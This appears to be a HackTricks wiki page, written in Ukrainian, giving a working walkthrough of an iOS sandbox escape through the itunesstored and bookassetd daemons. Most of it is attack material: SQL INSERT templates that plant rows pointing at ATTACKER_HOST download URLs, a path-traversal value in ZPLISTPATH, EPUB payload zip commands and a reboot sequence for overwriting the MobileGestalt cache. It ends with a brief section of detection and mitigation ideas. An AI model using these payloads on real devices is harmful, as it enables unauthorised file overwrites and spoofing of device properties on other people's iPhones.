itunesstored & bookassetd Sandbox Escape

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Огляд

Останні дослідження показують, що два попередньо встановлені демони iOS, itunesstored (менеджер завантажень) та bookassetd (менеджер ресурсів Books / iBooks), беззастережно довіряють метаданим SQLite, доступним для запису користувача. Помістивши спеціально підготовлені файли downloads.28.sqlitedb та BLDatabaseManager.sqlite разом із мінімальним архівом EPUB, атакуючий, який може записувати в /var/mobile/Media/, може змусити ці демони виконати довільні записі файлів у більшості шляхів власності mobile всередині /private/var/. Примітиви витримують перезавантаження і дозволяють маніпулювати кешами системних груп, такими як systemgroup.com.apple.mobilegestaltcache, щоб підробляти властивості пристрою або зберігати конфігурацію.

Ключові властивості:

  • Працює на пристроях щонайменше до iOS 26.2b1 (перевірено на iPhone 12 / iOS 26.0.1).
  • Мішенями для запису є кеші SystemGroup, /private/var/mobile/Library/FairPlay, /private/var/mobile/Media та інші файли, що належать mobile. Записи у файли, якими володіє root, не вдаються.
  • Потребує лише доступу рівня AFC (копіювання файлів по USB) або будь‑якої початкової позиції, що дозволяє замінити цільові SQLite DB та завантажити payloads.

Модель загрози та вимоги

  1. Локальний доступ до файлової системи до /var/mobile/Media/Downloads/ та /var/mobile/Media/Books/ (через AFC клієнти, такі як 3uTools, i4.cn, або afcclient по USB, або будь‑яке попереднє компрометування).
  2. HTTP-сервер, що хостить файли атакуючого (BLDatabaseManager.sqlite, iTunesMetadata.plist, crafted EPUB), доступні за URL на кшталт https://ATTACKER_HOST/fileprovider.php?type=....
  3. Здатність неодноразово перезавантажувати пристрій, щоб кожен демон перезавантажив свою базу даних.
  4. Знання UUID system-group для Books, щоб запис Етапу 1 потрапив у правильний контейнер (знаходиться через syslog).

Етап 1 – Зловживання downloads.28.sqlitedb через itunesstored

itunesstored обробляє /var/mobile/Media/Downloads/downloads.28.sqlitedb. Таблиця asset зберігає URL + метадані призначення і трактує їх як довірений вхід. Створення рядка, який вказує на URL атакуючого і встановлює local_path на .../Documents/BLDatabaseManager/BLDatabaseManager.sqlite всередині Books SystemGroup, примусить itunesstored завантажити і перезаписати базу даних Books вмістом атакуючого під час завантаження.

Знаходження UUID SystemGroup для Books

  1. Зберіть архів syslog за допомогою pymobiledevice3:
pymobiledevice3 syslog collect logs.logarchive
  1. Відкрийте logs.logarchive у Console.app та знайдіть bookassetd [Database]: Store is at file:///private/var/containers/Shared/SystemGroup/<UUID>/Documents/BLDatabaseManager/BLDatabaseManager.sqlite.
  2. Запишіть <UUID> і підставте його в SQL payload.

Зловмисний рядок asset

Шаблон INSERT — Етап 1 ```sql INSERT INTO "main"."asset" ( "pid","download_id","asset_order","asset_type","bytes_total", "url","local_path","destination_url","path_extension","retry_count", "http_method","initial_odr_size","is_discretionary","is_downloaded", "is_drm_free","is_external","is_hls","is_local_cache_server", "is_zip_streamable","processing_types","video_dimensions", "timeout_interval","store_flavor","download_token","blocked_reason", "avfoundation_blocked","service_type","protection_type", "store_download_key","etag","bytes_to_hash","hash_type","server_guid", "file_protection","variant_id","hash_array","http_headers", "request_parameters","body_data","body_data_file_path","sinfs_data", "dpinfo_data","uncompressed_size","url_session_task_id" ) VALUES ( 1234567890,6936249076851270150,0,'media',NULL, 'https://ATTACKER_HOST/fileprovider.php?type=sqlite', '/private/var/containers/Shared/SystemGroup//Documents/BLDatabaseManager/BLDatabaseManager.sqlite', NULL,'epub',6,'GET',NULL,0,0,0,1,0,0,0,0, NULL,60,NULL,466440000,0,0,0,0,'',NULL,NULL,0, NULL,NULL,NULL,X'62706c6973743030a1015f1020...',NULL,NULL,NULL,NULL,NULL,NULL,0,1 ); ```

Поля, які мають значення:

  • url: кінцева точка, контрольована зловмисником, яка повертає шкідливий BLDatabaseManager.sqlite.
  • local_path: файл BLDatabaseManager.sqlite системної групи Books, визначений вище.
  • Control flags: keep defaults (asset_type='media', path_extension='epub', booleans set to 0/1 as in the template) so the daemon accepts the task.

Розгортання

  1. Видаліть застарілі записи /var/mobile/Media/Downloads/*, щоб уникнути умов гонок.
  2. Замініть downloads.28.sqlitedb на створену БД через AFC.
  3. Перезавантажте → itunesstored завантажить базу даних Stage 2 і запише /var/mobile/Media/iTunes_Control/iTunes/iTunesMetadata.plist.
  4. Скопіюйте той plist до /var/mobile/Media/Books/iTunesMetadata.plist; Stage 2 очікує його в цьому місці.

Stage 2 – зловживання BLDatabaseManager.sqlite через bookassetd

bookassetd має ширші дозволи на файлову систему і довіряє таблиці ZBLDOWNLOADINFO. Вставивши фейковий рядок покупки, який посилається на URL-адреси зловмисника та містить traversal у ZPLISTPATH, демон завантажує ваш EPUB у /var/mobile/Media/Books/asset.epub і пізніше розпаковує метадані у будь-який mobile-належний шлях, досяжний через послідовності втечі ../../...

Зловмисний ZBLDOWNLOADINFO рядок

Шаблон INSERT для Етапу 2 ```sql INSERT INTO "ZBLDOWNLOADINFO" ( "Z_PK","Z_ENT","Z_OPT","ZACCOUNTIDENTIFIER","ZCLEANUPPENDING", "ZFAMILYACCOUNTIDENTIFIER","ZISAUTOMATICDOWNLOAD","ZISLOCALCACHESERVER", "ZISPURCHASE","ZISRESTORE","ZISSAMPLE","ZISZIPSTREAMABLE", "ZNUMBEROFBYTESTOHASH","ZPERSISTENTIDENTIFIER","ZPUBLICATIONVERSION", "ZSERVERNUMBEROFBYTESTOHASH","ZSIZE","ZSTATE","ZSTOREIDENTIFIER", "ZSTOREPLAYLISTIDENTIFIER","ZLASTSTATECHANGETIME","ZPURCHASEDATE", "ZSTARTTIME","ZARTISTNAME","ZARTWORKPATH","ZASSETPATH", "ZBUYPARAMETERS","ZCANCELDOWNLOADURL","ZCLIENTIDENTIFIER", "ZCOLLECTIONARTISTNAME","ZCOLLECTIONTITLE","ZDOWNLOADID", "ZDOWNLOADKEY","ZENCRYPTIONKEY","ZEPUBRIGHTSPATH","ZFILEEXTENSION", "ZGENRE","ZHASHTYPE","ZKIND","ZMD5HASHSTRINGS","ZORIGINALURL", "ZPERMLINK","ZPLISTPATH","ZSALT","ZSUBTITLE","ZTHUMBNAILIMAGEURL", "ZTITLE","ZTRANSACTIONIDENTIFIER","ZURL","ZRACGUID","ZDPINFO", "ZSINFDATA","ZFILEATTRIBUTES" ) VALUES ( 1,2,3,0,0,0,0,'',NULL,NULL,NULL,NULL, 0,0,0,NULL,4648,2,'765107108',NULL, 767991550.119197,NULL,767991353.245275,NULL,NULL, '/private/var/mobile/Media/Books/asset.epub', 'productType=PUB&salableAdamId=765107106&...', 'https://p19-buy.itunes.apple.com/...', '4GG2695MJK.com.apple.iBooks','Sebastian Saenz','Cartas de Amor a la Luna', '../../../../../../private/var/containers/Shared/SystemGroup/systemgroup.com.apple.mobilegestaltcache/Library', NULL,NULL,NULL,NULL,'Contemporary Romance',NULL,'ebook',NULL,NULL,NULL, '/private/var/mobile/Media/Books/iTunesMetadata.plist',NULL, 'Cartas de Amor a la Luna','https://ATTACKER_HOST/fileprovider.php?type=gestalt', 'Cartas de Amor a la Luna','J19N_PUB_190099164604738', 'https://ATTACKER_HOST/fileprovider.php?type=gestalt2',NULL,NULL,NULL,NULL ); ```

Важливі поля:

  • ZASSETPATH: розташування EPUB на диску, контрольоване атакуючим.
  • ZURL/ZPERMLINK: URL-адреси атакуючого, що хостять EPUB та допоміжний plist.
  • ZPLISTPATH: ../../../../../private/var/containers/Shared/SystemGroup/systemgroup.com.apple.mobilegestaltcache/Librarypath traversal base, яке додається до файлів, витягнутих з EPUB. Налаштуйте глибину обходу шляху, щоб досягти потрібного цільового каталогу SystemGroup.
  • Метадані покупки (ZSTOREIDENTIFIER, імена, часові позначки) імітують легітимні записи, щоб демон не відкидав рядок.

Після копіювання шкідливої БД у /private/var/containers/Shared/SystemGroup/<UUID>/Documents/BLDatabaseManager/BLDatabaseManager.sqlite (завдяки Stage 1) та двох перезавантажень, bookassetd буде (1) завантажувати EPUB, (2) обробляти його та записувати похідний plist у пройдений шлях.

Створення EPUB Payload

bookassetd дотримується формату EPUB ZIP: mimetype має бути першим неупакованим записом. Щоб відобразити вміст EPUB у кеш MobileGestalt, збудуйте дерево каталогів, яке відтворює бажаний шлях відносно ZPLISTPATH.

Caches/
├── mimetype
└── com.apple.MobileGestalt.plist

Створіть архів:

zip -X0 hax.epub Caches/mimetype
zip -Xr9D hax.epub Caches/com.apple.MobileGestalt.plist
  • mimetype зазвичай містить буквальне значення application/epub+zip.
  • Caches/com.apple.MobileGestalt.plist містить керований атакуючим payload, який опиниться за адресою .../Library/Caches/com.apple.MobileGestalt.plist.

Робочий процес оркестрації

  1. Підготуйте файли на HTTP-сервері атакуючого та складіть обидві SQLite DB з host/UUID-специфічними значеннями.
  2. Замініть downloads.28.sqlitedb на пристрої та перезавантажте → Stage 1 завантажує шкідливий BLDatabaseManager.sqlite і викидає /var/mobile/Media/iTunes_Control/iTunes/iTunesMetadata.plist.
  3. Скопіюйте iTunesMetadata.plist до /var/mobile/Media/Books/iTunesMetadata.plist (повторіть, якщо демон його видаляє).
  4. Перезавантажте ще разbookassetd завантажує asset.epub у /var/mobile/Media/Books/ використовуючи метадані Stage 2.
  5. Перезавантажте втретєbookassetd обробляє завантажений asset, слідує ZPLISTPATH і записує вміст EPUB у цільовий SystemGroup шлях (наприклад, com.apple.MobileGestalt.plist).
  6. Перевірте, читаючи перезаписаний plist або спостерігаючи, що властивості, похідні від MobileGestalt (model identifier, activation flags тощо), відповідно змінюються.

Тот самий патерн дозволяє покласти файли в інші кеші, що належать mobile, такі як FairPlay state або persistence directories, дозволяючи приховані маніпуляції без потреби в kernel exploit.

Інструменти та оперативні нотатки

  • pymobiledevice3 syslog collect logs.logarchive – витягнути журнальні архіви, щоб виявити Books SystemGroup UUID.
  • Console.app – відфільтруйте за bookassetd [Database]: Store is at ... щоб відновити точний шлях контейнера.
  • AFC clients (afcclient, 3uTools, i4.cn) – push/pull SQLite DBs та plist файли через USB без jailbreak.
  • zip – забезпечує дотримання обмежень порядку EPUB при пакуванні payloads.
  • Public PoChttps://github.com/hanakim3945/bl_sbx містить базові шаблони SQLite/EPUB, які ви можете налаштувати.

Ідеї виявлення та пом’якшення

  • Розглядайте downloads.28.sqlitedb та BLDatabaseManager.sqlite як недовірений вхід: перевіряйте, що local_path / ZPLISTPATH залишаються в межах затверджених sandbox і відхиляйте повні шляхи або токени обходу (traversal).
  • Моніторте записи AFC, що замінюють ці бази даних, або неочікувані завантаження, ініційовані itunesstored / bookassetd незабаром після завантаження системи.
  • Посиліть процес розпакування bookassetd, застосувавши realpath() до цільового шляху виводу і переконавшись, що він не може вийти за межі Books container перед записом файлів.
  • Обмежте канали копіювання файлів AFC / USB або вимагайте взаємодії з користувачем перед дозволом на заміну файлів метаданих Books/iTunes.

References

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks